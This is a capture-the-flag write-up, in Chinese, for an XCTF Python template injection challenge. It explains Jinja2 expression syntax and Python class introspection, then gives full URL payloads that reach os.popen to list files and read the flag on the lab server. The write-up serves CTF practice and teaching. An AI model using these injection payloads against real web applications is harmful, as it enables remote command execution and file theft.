XCTF Web_python_template_injection
一.进入实验发现是python的模板注入
1.我们先来了解一下:
instance.__class__ 可以获取当前实例的类对象
class.__mro__ 获取当前类对象的所有继承类
每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)
在Jinja2模板引擎中,{{}}
是变量包裹标识符。{{}}
并不仅仅可以传递变量,还可以执行一些简单的表达式。
这里就不一一说明了,我也不是很懂这个漏洞,想更详细地了解就看看这个 https://www.freebuf.com/column/187845.html
2.实验步骤:
判断是否存在漏洞 : 发现1+1被执行了,也就可以利用这漏洞了
通过 http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D ,查看所有模块
由于我们想要读取到flag文件里的信息,所以选用 os.popen
首先我们要找到os模块的位置,他是位于<class 'site._Printer'>里面 ,结果查找在71
通过`__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()`
来调用服务器的控制台并显示。
我们构造 http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]
.__init__.__globals__['os'].popen('ls').read()%7D%7D
根据返回的结果可以知道我们要找的flag在fl4g里面,现在查看这个文件即可得到flag。
http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]
.__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D